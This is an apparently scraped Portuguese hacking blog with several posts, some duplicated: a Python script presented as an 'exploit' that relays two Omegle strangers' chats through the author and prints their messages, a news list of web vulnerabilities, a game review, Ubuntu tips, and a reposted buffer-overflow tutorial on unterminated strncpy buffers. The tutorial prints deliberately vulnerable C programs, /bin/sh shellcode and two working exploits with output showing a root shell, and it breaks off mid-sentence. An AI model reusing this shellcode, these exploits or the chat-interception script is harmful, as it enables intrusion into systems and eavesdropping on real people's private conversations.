Pois é, agora de fato, depois de muitas coisas, consegui por minha cabeça de novo no lugar, vou voltar a postar, sei que nao faz muita diferença, sei que quase ninguem visita meu blog, maas, e dai, vou voltar a postar mesmo assim (:
è claro, ainda sem tempo de escrever e/ou estudar para os assuntos debatidos, estou buscando por atualidades e tudo mais em outras fontes, sim é simbolico, mas é de coração.
Fiquem na paz ae ;*
um abraçao,
f0nt_Drk [s]
Marcadores:
Hacking,
PenTest
0
comentários
Todos conhecem o site Omegle!
Um mensageiro online, onde diversas pessoas de varios paises podem se comunicar através de uma escolha aleatória do servidor, onde a maioria dos usuários estão atraz de sexo explicito e selvagem!
Nesse post irei ilustrar como realizar uma técnica de man-in-middle capturando conversars que estão sendo realizadas neste momento.
Vamos analizar uma simples conversa usando um sniffer qualquer
O que podemos notar?
O Omegle é desprovido de qualquer tipo de criptografia e
que usa o método POST para comunicação.
Exemplo ilustrativo da comunicação:
Como capturar as conversas?
Use o exploit abaixo: =P
Pra quem não sabe o script acima é em python.
Tutorial recriado por SpecTrum_Bill (Fazendo um spamzinho *-*) http://unauthorizedaccess.wordpress.com/2010/02/12/omegle-man-in-middle-ataque/
Original por bear24rw
Abraços!
Um mensageiro online, onde diversas pessoas de varios paises podem se comunicar através de uma escolha aleatória do servidor, onde a maioria dos usuários estão atraz de sexo explicito e selvagem!
Nesse post irei ilustrar como realizar uma técnica de man-in-middle capturando conversars que estão sendo realizadas neste momento.
Vamos analizar uma simples conversa usando um sniffer qualquer
O que podemos notar?
O Omegle é desprovido de qualquer tipo de criptografia e
que usa o método POST para comunicação.
Exemplo ilustrativo da comunicação:
You: POST omegle.com/start
Omg: HTTP "123456" <-- 6 caracteres aleatórios p/ o 'username' (a-z A-Z 0-9 _ -)
You: POST omegle.com/events?id=123456
Omg: HTTP [["connected"]]
You: POST omegle.com/send?msg=hello&id=123456
Omg: HTTP win <-- Bom!
You: POST omegle.com/events?id=123456
Omg: HTTP [["gotMessage", "hey"]] <-- Menssagem
You: POST omegle.com/disconnect?id=123456 <-- saiu do chat
Como capturar as conversas?
Use o exploit abaixo: =P
from httplib import *
from urllib import *
from threading import *
from Queue import *
from time import *
headers = {"Content-type": "application/x-www-form-urlencoded; charset=utf-8", "Accept": "application/json"}
class Send_Thread( Thread ):
def __init__(self, user, que):
Thread.__init__(self)
self.que = que
self.con = HTTPConnection("omegle.com:80")
self.user = user
def run ( self ):
done = False
while done == False:
#print "-------------------------------------"
try:
#print "Checking Que"
packet = self.que.get()
#print packet
if packet[0] == "message":
params = urlencode({'msg':packet[1], 'id':self.user})
self.con.request("POST", "/send", params, headers)
response = self.con.getresponse().read()
elif packet[0] == "typing":
params = urlencode({'id':self.user})
self.con.request("POST", "/typing", params, headers)
response = self.con.getresponse().read()
elif packet[0] == "disconnect":
params = urlencode({'id':self.user})
self.con.request("POST", "/disconnect", params, headers)
response = self.con.getresponse().read()
done = True
self.que.task_done()
#print self.user + " - SENT - " + message
except:
#print "QUE ERROR"
pass
class Recv_Thread( Thread ):
def __init__(self, user, que, color):
Thread.__init__(self)
self.que = que
self.user = user
self.con = HTTPConnection("omegle.com:80")
self.params = urlencode({'id':user})
self.color = color
def run ( self ):
self.user = self.color + self.user
done = False
while done == False:
#print "-------------------------------------"
self.con.request("POST", "/events", self.params, headers)
chat = self.con.getresponse().read()
#print chat
if chat == "null": # null only recieved if stanger left
chat = "[['strangerDisconnected']]" # format so it falls through tree
if chat == "[]": # weird response from omegle
chat = "[['']]" # format it so it falls through switch
chat = eval(chat)[0]
if chat[0] == "connected":
print self.user + " - CONNECTED"
elif chat[0] == "waiting":
print self.user + " - WAITING"
elif chat[0] == "gotMessage":
self.que.put(["message", chat[1]])
print "-------------------------------------"
print self.user + " - " + chat[1]
elif chat[0] == "typing":
self.que.put(["typing", ''])
#print self.user + " - TYPING"
elif chat[0] == "stoppedTyping":
pass # todo: que stopped typing
#print self.user + " - STOPPED TYPING"
elif chat[0] == "strangerDisconnected":
self.que.put(["disconnect", ''])
print self.user + " - DISCONNECTED"
done = True
else:
print self.user + " - ERROR"
print chat
con_one = HTTPConnection("omegle.com:80")
con_two = HTTPConnection("omegle.com:80")
con_one.request("POST", "/start", 0, headers)
con_two.request("POST", "/start", 0, headers)
id_one = eval(con_one.getresponse().read())
id_two = eval(con_two.getresponse().read())
print "One: " + id_one
print "Two: " + id_two
q_one = Queue()
q_two = Queue()
Recv_Thread(id_one, q_one, "\033[0;34m").start()
Recv_Thread(id_two, q_two, "\033[0;31m").start()
Send_Thread(id_one, q_two).start()
Send_Thread(id_two, q_one).start()
Pra quem não sabe o script acima é em python.
Tutorial recriado por SpecTrum_Bill (Fazendo um spamzinho *-*) http://unauthorizedaccess.wordpress.com/2010/02/12/omegle-man-in-middle-ataque/
Original por bear24rw
Abraços!
10 Principais vulnerabilidade em aplicações web
Marcadores:
Noticias,
Others
0
comentários
fonte:http://www.administradores.com.br/noticias/estudo_aponta_as_10_principais_vulnerabilidades_em_aplicacoes_web/14488/
Um estudo realizado pela Batori especializada em segurança da informação, constatou que grande parte das vulnerabilidades está concentrada hoje em aplicações web, notadamente na estrutura de banco de dados e na arquitetura dos programas.
Além disso, a análise descobriu que grande parte dessas brechas não é detectada por ferramentas como scanners e analisadores de códigos e, quando analisados, não têm a devida eficácia. Falhas desta natureza somente são identificadas e reparadas por profissionais experientes. Então os hackers se aproveitam dessas vulnerabilidades, que geram brechas, para invadir os sistemas, diz o estudo
Para alertar o mercado sobre o problema, a Batori realizou um levantamento e listou um ranking com os dez principais tipos de ataques baseados em vulnerabilidades nas aplicações web, que respondem por 89% dos casos:
1) Cross-site scripting (XSS) – Técnica de ataque que representa 13% das ocorrências. Ela permite executar scripts maliciosos no navegador do usuário da aplicação vulnerável.
2) Manipulação de dados ocultos – Ela responde, também, por 13% das ocorrências. A aplicação vulnerável permite acesso indevido quando dados ocultos são manipulados indevidamente.
3) Falha ao restringir acesso a URL ou funcionalidade – Essa vulnerabilidade, que ocorre porque a aplicação não restringe adequadamente suas áreas restritas, representa 11% das ocorrências.
4) Tratamento indevido de erro, revelação de informações sensíveis – A aplicação revela informações sensíveis através de uso não esperado. Responde por 9% das ocorrências.
5) Armazenamento inseguro de criptografia – Esse tipo de brecha, que representa 9% das ocorrências, expõe dados sensíveis, que deveriam ser armazenados de forma criptografada e estão em texto livre ou com criptografia inadequada.
6) Comunicação insegura – Vulnerabilidade responsável por 8% das ocorrências. A aplicação trafega dados sensíveis através de canais não-seguros.
7) Falha da especificação de requisitos – Deficiência que representa 8% das ocorrências. Os controles de segurança, que deveriam existir, não existem devido à falha na especificação.
Injeção de comandos – Técnica de ataque responsável por 8% das ocorrências e que explora injeção de comandos através de aplicação para serem processados por outros sistemas ou camadas. Por exemplo: SQL Injection, SMTP Injection, HTML Injection etc.
9) Processo inadequado de cadastro de usuários – Procedimento que causa 5% das ocorrências. O cadastro de usuário deve respeitar algumas recomendações de segurança, que se não forem seguidas podem expor a aplicação a diversos incidentes.
10) Quebra de autenticação e gerenciamento de sessão – Responsável por 5% das ocorrências, as aplicações vulneráveis permitem burlar o processo de autenticação através de gestão fraca de sessão ou procedimentos inseguros.
Outras vulnerabilidades respondem por 11% das ocorrências.
Um estudo realizado pela Batori especializada em segurança da informação, constatou que grande parte das vulnerabilidades está concentrada hoje em aplicações web, notadamente na estrutura de banco de dados e na arquitetura dos programas.
Além disso, a análise descobriu que grande parte dessas brechas não é detectada por ferramentas como scanners e analisadores de códigos e, quando analisados, não têm a devida eficácia. Falhas desta natureza somente são identificadas e reparadas por profissionais experientes. Então os hackers se aproveitam dessas vulnerabilidades, que geram brechas, para invadir os sistemas, diz o estudo
Para alertar o mercado sobre o problema, a Batori realizou um levantamento e listou um ranking com os dez principais tipos de ataques baseados em vulnerabilidades nas aplicações web, que respondem por 89% dos casos:
1) Cross-site scripting (XSS) – Técnica de ataque que representa 13% das ocorrências. Ela permite executar scripts maliciosos no navegador do usuário da aplicação vulnerável.
2) Manipulação de dados ocultos – Ela responde, também, por 13% das ocorrências. A aplicação vulnerável permite acesso indevido quando dados ocultos são manipulados indevidamente.
3) Falha ao restringir acesso a URL ou funcionalidade – Essa vulnerabilidade, que ocorre porque a aplicação não restringe adequadamente suas áreas restritas, representa 11% das ocorrências.
4) Tratamento indevido de erro, revelação de informações sensíveis – A aplicação revela informações sensíveis através de uso não esperado. Responde por 9% das ocorrências.
5) Armazenamento inseguro de criptografia – Esse tipo de brecha, que representa 9% das ocorrências, expõe dados sensíveis, que deveriam ser armazenados de forma criptografada e estão em texto livre ou com criptografia inadequada.
6) Comunicação insegura – Vulnerabilidade responsável por 8% das ocorrências. A aplicação trafega dados sensíveis através de canais não-seguros.
7) Falha da especificação de requisitos – Deficiência que representa 8% das ocorrências. Os controles de segurança, que deveriam existir, não existem devido à falha na especificação.
Injeção de comandos – Técnica de ataque responsável por 8% das ocorrências e que explora injeção de comandos através de aplicação para serem processados por outros sistemas ou camadas. Por exemplo: SQL Injection, SMTP Injection, HTML Injection etc.9) Processo inadequado de cadastro de usuários – Procedimento que causa 5% das ocorrências. O cadastro de usuário deve respeitar algumas recomendações de segurança, que se não forem seguidas podem expor a aplicação a diversos incidentes.
10) Quebra de autenticação e gerenciamento de sessão – Responsável por 5% das ocorrências, as aplicações vulneráveis permitem burlar o processo de autenticação através de gestão fraca de sessão ou procedimentos inseguros.
Outras vulnerabilidades respondem por 11% das ocorrências.
Teeworlds
Opa, beleza pessoal, alguem aqui já ouviu falar no Teeworlds ? pois é, pra quem nao conheçe ou já ouviu falar mais nao sabe muito sobre ele, resolvi escrever algumas coisas..
Eu achei esse jogo muito interessante, apesar de um grafico meio, 'infantil' por tras ele esconde um jogo de ação eletrizante, muito rapido, onde ele mistura alguns elementos como os tamanho do personagem e uns cenarios infantils do Worm, e toda a velocidade, e ação do jogo the duel, e que pra mim é muito bom...
em D2 sua ação eletrizante e ao mesmo tempo, 'infantil' supreende...
alguns screenshots:
Eu achei esse jogo muito interessante, apesar de um grafico meio, 'infantil' por tras ele esconde um jogo de ação eletrizante, muito rapido, onde ele mistura alguns elementos como os tamanho do personagem e uns cenarios infantils do Worm, e toda a velocidade, e ação do jogo the duel, e que pra mim é muito bom...
em D2 sua ação eletrizante e ao mesmo tempo, 'infantil' supreende...
alguns screenshots:
no site oficial voces podem fazer o download do jogo, ele é extremamente leve, aconselho a todosexperimentar..
site oficial: www.teeworlds.com
Deixando janelas transparentes no ubuntu
Bom, podemos deixar janelas, barras de frramentas, e tudo e qualquer coisa 'transparente' na medida que voce quiser o grau de transparencia ;DD
primeiramente abrimos o terimnal e digitamos o seguinte comando:
.
sudo apt-get install xcompmgr transset
.
depois de inslarmos o transset, nos podemos testar:
digitamos o seguinte comando:
.
transset 0.8
.
e pronto a seta mouse se transformara em uma cruz e entao é só voce clicar na janela que seseja ficar tranparente
o valor: '0.8 pode ser modificado, quanto menos o valor, mais tranparente vai ficar, lembrando que
tem que ter sempre o ponto.
.
ex: transset 0.5 | e ai vai dá sua escolha..
.
e para deixar normal a janela basta digitar no terminal novamente:
.
transset 1.0
.
e clicar na janela que estava transparente com a cruz e dai volta ao normal..
olhe alguns resoltados:
.
http://up.dgoh.org/upload/imagens/captu
.
http://up.dgoh.org/upload/imagens/captu
.
http://up.dgoh.org/upload/imagens/captu
f0nt_Drk [s]
primeiramente abrimos o terimnal e digitamos o seguinte comando:
.
sudo apt-get install xcompmgr transset
.
depois de inslarmos o transset, nos podemos testar:
digitamos o seguinte comando:
.
transset 0.8
.
e pronto a seta mouse se transformara em uma cruz e entao é só voce clicar na janela que seseja ficar tranparente
o valor: '0.8 pode ser modificado, quanto menos o valor, mais tranparente vai ficar, lembrando que
tem que ter sempre o ponto.
.
ex: transset 0.5 | e ai vai dá sua escolha..
.
e para deixar normal a janela basta digitar no terminal novamente:
.
transset 1.0
.
e clicar na janela que estava transparente com a cruz e dai volta ao normal..
olhe alguns resoltados:
.
http://up.dgoh.org/upload/imagens/captu
.
http://up.dgoh.org/upload/imagens/captu
.
http://up.dgoh.org/upload/imagens/captu
f0nt_Drk [s]
Resolvendo problemas com PHPMyAdmin no Ubuntu
Opa, iai pessoal.
Bom, hoje estava eu, instalando o apache, php, mysql, e a famosa ferramenta phpmyadmin, no meu ubuntu 9.04, bls, empolgado pra realizar alguns testes, e tambem utilzar das ferramentas, lá vou eu testar..
http://localhost/phpmyadmin/
eu me deparo com a a pagina de erro ;S realmente, alguns que instalam todos os pacotes e tals, pelo apt-get te esse problema, por outro metodo pode até, ter, mas ai eu nao sei..
entao, eu fui verificar nao era nenhum erro na instalação, resolvir pequisar.. e encontrei uma maravilhosa solução em um blog ( blog do caio moritz )
entao vamos lá:
Bem simples né, moçada, mas util, realmente solucionou meu problema.. até mais, espero ter ajudado!
f0nt_Drk [s]
Bom, hoje estava eu, instalando o apache, php, mysql, e a famosa ferramenta phpmyadmin, no meu ubuntu 9.04, bls, empolgado pra realizar alguns testes, e tambem utilzar das ferramentas, lá vou eu testar..
http://localhost/phpmyadmin/
eu me deparo com a a pagina de erro ;S realmente, alguns que instalam todos os pacotes e tals, pelo apt-get te esse problema, por outro metodo pode até, ter, mas ai eu nao sei..
entao, eu fui verificar nao era nenhum erro na instalação, resolvir pequisar.. e encontrei uma maravilhosa solução em um blog ( blog do caio moritz )
entao vamos lá:
sudo cp -r /usr/share/phpmyadmin/ /var/www/phpmyadminAgora aponte seu navegador para
http://localhost/phpmyadmin. Você deve ver a tela de login do sistema.Bem simples né, moçada, mas util, realmente solucionou meu problema.. até mais, espero ter ajudado!
f0nt_Drk [s]
Sobre este simplório autor .
Sobre eu mesmo ,
E aquilo que me persegue ,
Sobre o que eu sinto,
E o que me segue .
Sobre o que eu escrevo ,
Nem sempre sendo herege ,
Vista curta de uma visão ensaiada ,
Pois sobre o que eu sou ,
Não sei nada ,
Talvez eu nada sou .
Ômar Fontenele, A.K.A f0nt_Drk
Curso o 2º ano do ensino médio e curto filosofia, literatura, sociologia, computadores, hacking e linguagens de programações .
External Links :
http://packetstormsecurity.org/files/author/8804/
http://www.exploit-db.com/author/?a=3207
http://experiencesblog.tumblr.com/
E aquilo que me persegue ,
Sobre o que eu sinto,
E o que me segue .
Sobre o que eu escrevo ,
Nem sempre sendo herege ,
Vista curta de uma visão ensaiada ,
Pois sobre o que eu sou ,
Não sei nada ,
Talvez eu nada sou .
Ômar Fontenele, A.K.A f0nt_Drk
Curso o 2º ano do ensino médio e curto filosofia, literatura, sociologia, computadores, hacking e linguagens de programações .
External Links :
http://packetstormsecurity.org/files/author/8804/
http://www.exploit-db.com/author/?a=3207
http://experiencesblog.tumblr.com/
Exploitando Memoria Adjacente
Marcadores:
PenTest
0
comentários
***********************************
* EXPLOITANDO MEMORIA ADJACENTE *
***********************************
1 - Introducao
2 - O Problema
3 - A Exploitacao
4 - Expansao do Conceito
5 - Terminando
5.1 - Links e Referencias
5.2 - Consideracoes Finais
5.2 - Agradecimentos
---------------
1 - Introducao |
---------------
Os ataques de Buffer Overflows parecem que ainda perdurarao por algum
tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca,
os exemplos de condicoes de overflow permanecem como uma "constante"
entre os aplicativos de um modo geral.
Ateh onde eu conheco, o conceito de buffer overflow eh apenas um, no
entanto, as tecnicas para implementacao deste conceito sao diversas. E
ateh onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a
expandir para as massas o conceito de buffer overflows. Desde o worm
(Robert Morris, 1988) ateh os nossos dias, muitos programadores tem
procurado diminuir as condicoes de buffer overflows em programas que
manipulam parametros recebidos de um usuario, substituindo funcoes
conhecidas como vulneraveis(strcpy, gets, sprintf) por funcoes que
necessariamente fazem checagem do tamanho dos parametros recebidos
(strncpy, snprintf, etc).
No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto
uma tecnica capaz de exploitar espacos de memoria adjacente,
especificamente o manuseio incorreto das funcoes ditas seguras(strcnpy,
por exemplo). As Analises de codigo-fonte(auditoria) passaram agora
a incluir todo tipo de funcoes, demonstrando assim que nao basta apenas
a funcao fazer a checagem do tamanho dos parametros, mas outros fatores
passaram a ser essenciais.
Neste documento abordaremos esta tecnica. Conhecimentos em C, Assembly
(AT&T), escrita de exploits(ver docs da Unsek Scene) e linux se fazem
necessarios. E principalmente mentalidade fucadora!
---------------
2 - O Problema |
---------------
Podemos descrever basicamente o problemas com as funcoes ditas seguras
(strncpy, strncat, etc) eh que elas nao sao capazes de terminar
automaticamente os buffers ou strings com um NULL. Como assim?
Vejamos nosso primeiro codigo inicial:
----------------------------------- b1.c ----------------------------------
/* Exemplo de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer[256];
/* Iremos copiar argv[1] para buffer e imprimir */
strncpy(buffer,argv[1],sizeof(buffer));
/* Iremos imprimir o tamanho da string recebida em argv[1] */
printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer));
return 0;
}
--------------------------------------------------------------------
Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256
A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256
Como podemos notar strlen() contem um tamanho superior ao esperado.
Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma
forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando
o programa abaixo:
-------------------------------- b2.c --------------------------------
/* Exemplo 2 de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer1[20], buffer2[8];
/* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
/* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
/* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2);
return 0;
}
------------------------------------------------------------------------
Executando este programa, teoricamente deveriamos ter a saida de buffer2,
ou seja, uma string contendo 8 caracteres.Mas vejamos:
kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon
NashLeonNashLeon possue 16 caracteres.
No mais a gente pode brincar com isso:
kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@
Ele imprime justmente porque o strncpy() nao encontrou o caracter
NULL como esperava. Com menos de 8 caracteres, poderiamos ter:
kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo
Ou seja, a execucao e impressao em modo normal e esperado, jah que
temos um NULL na string indicando o termino dela. O stack nesse
caso iria parecer como:
Memoria
Alta
|| ----------------> [Topo do Stack]
|| ----------------> [ 'N' (buffer2 - 0) ]
|| ----------------> [ 'a' (buffer2 - 1) ]
|| ----------------> [ 's' (buffer2 - 2) ]
|| ----------------> [ 'h' (buffer2 - 3) ]
|| ----------------> [ 'L' (buffer2 - 4) ]
|| ----------------> [ 'e' (buffer2 - 5) ]
|| ----------------> [ 'o' (buffer2 - 6) ]
|| ----------------> [ 'n' (buffer2 - 7) ]
|| ----------------> [ 'N' (buffer1 - 0) ]
|| ----------------> [ 'a' (buffer1 - 1) ]
|| ----------------> [ 's' (buffer1 - 2) ]
|| ----------------> [ 'h' (buffer1 - 3) ]
|| ----------------> [ 'L' (buffer1 - 4) ]
|| ----------------> [ 'e' (buffer1 - 5) ]
|| ----------------> [ 'o' (buffer1 - 6) ]
|| ----------------> [ 'n' (buffer1 - 7) ]
|| ----------------> [ 'U' (buffer1 -
]
|| ----------------> [ 'n' (buffer1 - 9) ]
|| ----------------> [ 's' (buffer1 - 10) ]
|| ----------------> [ 'e' (buffer1 - 11) ]
|| ----------------> [ 'k' (buffer1 - 12) ]
|| ----------------> [ 0x00 (buffer1 - 13) ]
||
|| ...
\/
Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na secao abaixo.
------------------
3 - A Exploitacao |
------------------
Este problema pode ser exploitado de inumeras maneiras. Dependendo
do nivel do atacante, ele pode se aproveitar ateh mesmo do exemplo
inicial postado neste documento. Como este e todos os meus documentos
visam NewBies, veremos inicialmente o exemplo mais trivial de se
exploitar este problema.
Como vimos no exemplo acima, strlen() tende a ser maior do que o
esperado quando enchemos um buffer e strncpy() nao encontra um NULL,
criando assim anomalias entre a interacao de funcoes.
Vejamos abaixo uma possivel implicacao disso:
-------------------------------- v.c ------------------------------------
/* Exemplo inicial de programa vulneravel
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[512];
char buf2[256];
strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[300];
int i;
/* note que buf3 suporta 300 bytes enquando
* buf2(buffer) teoricamente deveria conter no maximo
* 256.
*/
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
----------------------------------------------------------------------
Para exploitarmos este programa, nao tem muito segredo. Vamos encher
o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas
com o endereco de retorno. Existem inumeros esquemas em cima disso,
em alguns casos, partindo o shellcode ou manipulando NOPs, enfim,
vejamos o exploit abaixo:
--------------------------------- ev.c -----------------------------------
/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s\n",argv[0]);
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
for(i=0; i< LENBUFF2; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Vamos executar ele, entao:
kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#
Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo
ateh mesmo para evitar o uso de offsets. Outro possivel esquema pode
obedecer o seguinte modelo descrito pelo twitch na Phrack 56:
Apos a execucao de strncpy(), buf2 deve parecer com:
[ 0 ......................................................... 512 ]
--------------------------------------------------------------------
| | |
| offset_para_shellcode | Um monte de lixo(NULL, NOPs) |
| | |
--------------------------------------------------------------------
E buf1 deve parecer com:
[ 0 .......................................................... 256 ]
--------------------------------------------------------------------
| | | |
| Cadeia de NOP's | shellcode | Mais NOP's |
| | | |
--------------------------------------------------------------------
Logo, para este esquema poderiamos ter o seguinte exploit:
-------------------------------- ev2.c ---------------------------------
/* Segundo exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s\n",argv[0]);
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
memset(buff2,0x90,sizeof(buff2));
for(i=0; i< LENBUFF2 - 360; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Executando:
kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#
Bom, como podemos perceber nao ha muito problema em exploitar este
tipo de problema. Mas podemos ir mais alem.
-------------------------
4 - Expansao do Conceito |
-------------------------
Qualquer funcao que manipula strings a espera de um caracter NULL
para "encerrar" a string pode estar vulneravel a este tipo de problema.
Vimos no exemplo acima, strncpy(), uma funcao que eh muito usada, mas
podemos ir mais alem.
As seguintes funcoes tambem podem apresentar problemas:
fread()
read() [ read(), readv(), pread() ]
memcpy()
memccpy()
memmove()
bcopy()
for(i = 0; i < MAXSIZE; i++)
buf[i] = buf2[i];
gethostname()
strncat()
e etc.
Hoje em dia, a que mais chama a atencao eh a for().
Vejamos o exemplo abaixo:
------------------------------- v2.c ---------------------------------
/* Exemplo de programa vulneravel em for().
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
#define MAXSIZE 256
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[MAXSIZE];
char buf2[MAXSIZE];
char *pam;
int i;
pam = argv[1];
/* Copiamos conteudo de argv[1] para buf1 */
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
for(i =0; i < MAXSIZE; i++){
buf2[i] = buf1[i];
}
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[MAXSIZE];
int i;
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
-------------------------------------------------------------------
# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.
---------------
5 - Terminando |
---------------
Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.
Para impedir que os buffers sejam usados em condicoes de overflow
pela funcoes, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';
...
ou entao jah evitar quais problemas na propria funcao receptora:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...
5.1 - Links e Referencias
--------------------------
Existem varios documentos descrevendo esta tecnica, no entanto, em
forma de tutorial encontrei apenas dois ateh agora:
P56-14 - "TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES" -
escrito por twitch - http://www.phrack.org/
" Exploiting none terminated buffers" - escrito por pr1 -
http://www.u-n-f.com/
Outros links interessantes:
http://www.kimera.com.br/
http://www.linuxsecurity.com.br/
http://unsekurity.virtualave.net/
http://www.axur.org/
http://www.securenet.com.br/
http://int0x80.host.sk/
http://www.unsecurity.org/
http://www.core-sdi.com/
http://packetstorm.linuxsecurity.com/
http://www.securityfocus.com/
http://www.counterpane.com/
http://www.atstake.com/
http://teso.scene.at/
5.2 - Consideracoes Finais
---------------------------
Buffer overflows eh uma tecnica fascinante, como qualquer outra tecnica
fucadora. O interessante aqui nao eh a programacao, mas a malicia.
Tenho visto muitas pessoas confundirem hacking com programacao. Achando
que programar em Assembly ou saber fazer isso ou aquilo outro os torna
especiais.
Nao sei, mas neste ponto concordo com Mitnick:
"Super-programadores sao pessimos hackers!".
De modo que, a malicia nao estah associada a capacidade de programar.
Dizem que programar eh resolver problemas, mas vejo muitos programadores
seguirem sempre uma logica pre-definida, ensinada por alguem. O hacking
ultrapassa essa esfera. Eh resolver problemas com o que se tem na mao
